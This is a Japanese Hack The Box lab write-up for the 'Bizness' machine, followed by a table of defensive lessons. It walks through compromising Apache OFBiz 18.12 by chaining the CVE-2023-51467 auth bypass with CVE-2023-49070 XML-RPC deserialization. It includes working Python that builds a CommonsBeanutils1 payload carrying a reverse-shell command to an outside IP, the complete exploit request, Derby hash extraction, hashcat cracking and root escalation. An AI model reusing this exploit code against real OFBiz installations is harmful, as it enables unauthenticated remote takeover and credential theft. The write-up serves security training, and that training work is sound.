Hack The BoxのWriteup(Bizness)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Bizness — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443
→
vhost特定
bizness.htb へ301リダイレクト
→
OFBiz 18.12 特定
/webtools/control/xmlrpc
→
CVE-2023-51467+49070
認証バイパス+XML-RPC逆直列化RCE
→
ofbiz シェル取得
user.txt ✓
→
Derby DB ハッシュ抽出
$SHA$d$…
→
hashcat -m 120
rockyou → monkeybizness
→
su root → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.92.131
RESULT
Not shown: 64973 closed tcp ports (reset), 558 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
45943/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 158.95 seconds

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80,443,45943 10.129.92.131
RESULT
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp    open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
45943/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: 80/443 とも nginx が https://bizness.htb/ へリダイレクトしており、 未知の vhost 名が判明。443 の証明書は自己署名 (Internet Widgits Pty Ltd — OpenSSL デフォルト値のまま)。 45943/tcp は内容不明の tcpwrapped(本チェーンでは使用しない)。
PHASE 2

Web調査 & vhost特定 — bizness.htb

リダイレクト先の確認

BASH
curl -sI --max-time 10 http://10.129.92.131
RESULT
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://bizness.htb/
BASH
whatweb -a 3 http://10.129.92.131 --log-brief=-
RESULT
http://10.129.92.131 [301 Moved Permanently] HTTPServer[nginx/1.18.0],
RedirectLocation
https://bizness.htb/
, Title[301 Moved Permanently], nginx[1.18.0]

/etc/hosts に vhost を追加

BASH
echo "10.129.92.131  bizness.htb" | sudo tee -a /etc/hosts
BASH
curl -sk https://bizness.htb/ | head -c 500
RESULT
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>BizNess Incorporated</title>
    ...
    <!-- Theme Name: BizPage / Theme URL: bootstrapmade.com -->
ℹ️
トップページは BootstrapMade の企業テンプレート「BizPage」をそのまま使った見せかけの会社サイト。 実際のアプリケーション本体はここではなく、別パスに隠れている。

アプリケーション本体の特定 — /webtools/control/xmlrpc

BASH
curl -sk https://bizness.htb/webtools/control/xmlrpc | grep -i -E "title|release"
RESULT
<title>OFBiz: Web Tools: Login</title>
...
Powered by Apache OFBiz. Release
18.12
🚨
確定: 本サイトのバックエンドは Apache OFBiz 18.12。 /webtools/control/xmlrpc は本来管理者専用の XML-RPC エンドポイントだが、 未認証でページ自体には到達できる=既知の pre-auth RCE 系脆弱性の有力候補。
PHASE 3

脆弱性調査 — CVE-2023-49070 / CVE-2023-51467

Metasploit モジュール検索

BASH
msfconsole -q -x "search ofbiz; exit"
RESULT
#   Name                                                      Disclosure Date  Rank       Check  Description
0   exploit/linux/http/apache_ofbiz_deserialization_soap     2021-03-22       excellent  Yes    Apache OFBiz SOAP Java Deserialization
3   exploit/linux/http/apache_ofbiz_deserialization          2020-07-13       excellent  Yes    Apache OFBiz XML-RPC Java Deserialization
6   exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal  2024-05-30  excellent  Yes  Apache OFBiz forgotPassword/ProgramExport RCE
ℹ️
apache_ofbiz_deserialization のモジュール説明文には 「Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 and use the CommonsBeanutils1 gadget chain. Verified working on 18.12.09, 17.12.01, and 15.12」 と明記されており、本ターゲット (18.12) に一致する。

脆弱性のメカニズム

NOTE
1. CVE-2023-51467(認証バイパス):
   /webtools/control/xmlrpc は本来ログイン必須だが、リクエストに
     ?USERNAME=&PASSWORD=x&requirePasswordChange=Y
   を付与すると、OFBiz の認証処理が「パスワード変更要求」状態を誤認識し、
   ログインチェックをスキップしたまま後続処理に進んでしまう。

2. CVE-2023-49070(XML-RPC 逆直列化 RCE):
   xmlrpc エンドポイントは <serializable> タグ内の base64 データを
   そのまま Java のオブジェクト逆直列化(ObjectInputStream#readObject)に
   渡してしまう。classpath 上に存在する commons-beanutils の
   PropertyUtils ガジェットチェーン(CommonsBeanutils1, ysoserial 由来)
   を使うことで、逆直列化の過程で任意の bash コマンドを実行できる。

→ 両CVEを組み合わせることで「未認証のまま」「任意コマンド実行」が成立する。
PHASE 4

エクスプロイト実行 & user.txt 取得

CommonsBeanutils1 ガジェットペイロードの生成

NOTE
msfconsole の GUI を使わず、同モジュールが内部で参照している
/usr/share/metasploit-framework/data/ysoserial_payloads.json の
"bash" → "CommonsBeanutils1" エントリ(base64済みの雛形バイト列 + 挿入位置
bufferOffset + 長さフィールド位置 lengthOffset)を直接読み、
実行したい bash コマンドを雛形の指定オフセットへ挿入 → 前後2箇所の
ビッグエンディアン16bit長さフィールドを更新する、という msf 本体と
同一ロジックを約40行の Python で再現した(msfconsole そのものは起動しない)。
PYTHON (build_payload.py の要点)
info    = data["bash"]["CommonsBeanutils1"]
raw     = bytearray(base64.b64decode(info["bytes"]))
cmd_b   = b"bash -c 'bash -i >& /dev/tcp/10.10.15.200/4455 0>&1'"
buf_off = info["bufferOffset"][0]                       # 挿入位置
raw     = raw[:buf_off] + cmd_b + raw[buf_off:]
for lo in info["lengthOffset"]:                          # 長さフィールド2箇所を補正
    idx = lo - 1
    new = ((raw[idx] << 8) | raw[idx+1]) + len(cmd_b)
    raw[idx], raw[idx+1] = (new >> 8) & 0xFF, new & 0xFF
payload_b64 = base64.b64encode(bytes(raw)).decode()      # → XML-RPC に埋め込む

XML-RPC 逆直列化リクエストの送信(認証バイパス込み)

BASH
# ターミナル1: リバースシェル用リスナー
nc -lnvp 4455
PYTHON (リクエスト送信)
url = "https://bizness.htb:443/webtools/control/xmlrpc;/" \
      "?USERNAME=&PASSWORD=x&requirePasswordChange=Y"   # CVE-2023-51467 認証バイパス

xml_body = f"""<?xml version="1.0"?>
<methodCall>
  <methodName>{rand_name}</methodName>
  <params><param><value><struct><member>
    <name>{rand_name}</name>
    <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{payload_b64}</serializable>
    </value>
  </member></struct></value></param></params>
</methodCall>"""

req = urllib.request.Request(url, data=xml_body.encode(),
                              headers={"Content-Type": "text/xml"}, method="POST")
urllib.request.urlopen(req, context=ssl_ctx, timeout=15)   # CVE-2023-49070 逆直列化RCE発火
RESULT
[*] POST https://bizness.htb:443/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=x&requirePasswordChange=Y  (4253 bytes)
[+] HTTP 200
[*] waiting for reverse shell...
[+] connect from ('10.129.92.131', 55754)
✅
RCE成功。 HTTP応答コード自体は200(正常なXML-RPCエラー応答でも返る点に注意)だが、 それと同時にOFBiz側のJVMプロセス内で逆直列化中にbashコマンドが実行され、 リスナーへコールバック接続が返ってきた。

シェル接続確認 & user.txt 取得

BASH
whoami && id
cat /home/ofbiz/user.txt
RESULT
ofbiz@bizness:/opt/ofbiz$ whoami && id
ofbiz
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)

ofbiz@bizness:/opt/ofbiz$ cat /home/ofbiz/user.txt
ec5d0a679350714a3ca285583aa83c98
user.txt — ofbiz@bizness
ec5d0a679350714a3ca285583aa83c98
PHASE 5

権限昇格調査 — Derby DB ハッシュ抽出とクラック

OFBiz が使う組込みDB (Apache Derby) 内のadminパスワードハッシュを探索

NOTE
OFBiz は既定で組込みの Apache Derby データベースをファイルベースで
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/ 以下の *.dat に保持している。
OFBizのパスワードハッシュは "$SHA$<salt>$<base64url-hash>" という独自形式で
平文のまま .dat ファイル内に埋め込まれていることが多いため、暗号化層を
迂回してテーブルを直接 grep/strings するだけで抽出できる。
BASH
grep -ral '\$SHA\$' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/*.dat 2>/dev/null
strings /opt/ofbiz/runtime/data/derby/ofbiz/seg0/*.dat 2>/dev/null \
  | grep -o '\$SHA\$[A-Za-z0-9_$-]*' | sort -u
RESULT
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c54d0.dat
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6650.dat

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
✅
admin のハッシュらしき文字列を1件発見。形式は $SHA$<salt="d">$<base64url-digest>。

OFBiz独自ハッシュ形式 → hashcat形式への変換

NOTE
OFBizの検証ロジックは SHA1(salt_bytes + password_bytes) を
base64url(パディング無し)でエンコードしたものと一致するか比較している。
hashcat のモード 120 (sha1($salt.$pass)) は "<hex-digest>:<salt>" を
要求するため、base64urlデコード→16進数変換するだけで直接投入できる。
PYTHON
salt, b64url = "d", "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
pad     = (4 - len(b64url) % 4) % 4
digest  = base64.urlsafe_b64decode(b64url + "=" * pad)
hc_line = f"{digest.hex()}:{salt}"
print(hc_line)
RESULT
b8fd3f41a541a435857a8f3e751cc3a91c174362:d

hashcat -m 120 によるクラック(rockyou.txt)

BASH
echo 'b8fd3f41a541a435857a8f3e751cc3a91c174362:d' > ofbiz_admin.hash
hashcat -m 120 -a 0 ofbiz_admin.hash /usr/share/wordlists/rockyou.txt --force
RESULT
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1480704/14344385 (10.32%)
Speed.#01........:  1665.3 kH/s (0.60ms)
Candidates.#01...: mosnarak -> mommy1205
✅
クラック成功: admin パスワードは monkeybizness。 rockyou.txt の約10%地点(約148万語)でヒットし、1秒未満で完了した。
PHASE 6

su root → root.txt

パスワード使い回しの確認 — root の SSH ログインは拒否される

BASH
sshpass -p 'monkeybizness' ssh -o StrictHostKeyChecking=no root@10.129.92.131 "id"
RESULT
Permission denied, please try again.
⚠️
OpenSSH 側では root のパスワード認証ログインが拒否される(PermitRootLogin 制限、 または root 自体のパスワードが別物である可能性)。SSH越しには root化できないため、 既に握っている ofbiz シェルから su で直接昇格する。

ofbiz シェル内から su root

BASH
su root -c 'cat /root/root.txt' <<< 'monkeybizness'
RESULT
ofbiz@bizness:/opt/ofbiz$ su root -c 'cat /root/root.txt' <<< 'monkeybizness'
Password: fd6225bb918507cff1c1c750068188a5
✅
root化成功。 admin パスワード monkeybizness は OSユーザー root の パスワードとしても使い回されている(典型的な「DB内の管理者ハッシュ=OSアカウントのパスワード流用」パターン)。

root.txt 取得

root.txt — root@bizness
fd6225bb918507cff1c1c750068188a5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ofbiz@bizness
ec5d0a679350714a3ca285583aa83c98
root.txt — root@bizness
fd6225bb918507cff1c1c750068188a5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2023-51467 Apache OFBiz 18.12 (webtools) 認証バイパス High ?USERNAME=&PASSWORD=x&requirePasswordChange=Y で /webtools 系エンドポイントのログイン必須チェックを回避
CVE-2023-49070 /webtools/control/xmlrpc (Java deserialization) 未認証リモートコード実行 Critical XML-RPC <serializable> に CommonsBeanutils1 ガジェットチェインを仕込み、逆直列化時にbashコマンド実行
パスワード使い回し OFBiz admin ↔ OS root 権限昇格 (ofbiz → root) Medium Derby DB の admin ハッシュをクラックした平文パスワードが、そのまま root の su パスワードとしても有効だった

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22/80/443, nginx が https://bizness.htb/ へリダイレクト
2Web調査/etc/hosts追加 + webtoolsページ確認Apache OFBiz 18.12 と判明
3脆弱性調査msfconsole search + 公開アドバイザリ確認CVE-2023-49070 / CVE-2023-51467 の組合せを特定
4エクスプロイトCommonsBeanutils1ペイロード自前生成 + 認証バイパスPOSTuser.txt 取得(ofbiz シェル)
5権限調査Derby DB の $SHA$ ハッシュ抽出 + hashcat -m 120admin/root 共通パスワード monkeybizness を復元
6権限昇格su root (SSH root ログインは拒否される)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
古い Apache OFBiz 18.12 を使用し続け、既知のpre-auth RCE (CVE-2023-49070/51467) 未適用 最新パッチの速やかな適用。少なくとも /webtools 系パスは内部ネットワーク限定にし、インターネットから到達不能にする。
XML-RPC エンドポイントが任意のJavaオブジェクト逆直列化を受け入れてしまう 信頼できないデシリアライズ入力を受け付けない実装へ修正(allow-list方式のクラスフィルタ等)。WAFでシリアライズストリームのマジックバイトを検査する緩和策も有効。
DB(Derby)内に管理者パスワードハッシュが平文に近い形式で残存し、ファイルを直接読めば抽出できる 弱いカスタムハッシュ形式(SHA1+短い固定salt)の使用を止め、bcrypt/argon2等の低速ハッシュへ移行。ファイルパーミッションでDBデータへの直接アクセスを制限。
アプリケーション管理者パスワードをOSの root パスワードとして使い回している アプリケーション認証情報とOSアカウント認証情報を完全に分離する。パスワードの使い回しを禁止する組織ポリシー・パスワードマネージャの導入。
HackTheBox: Bizness | 完全攻略レポート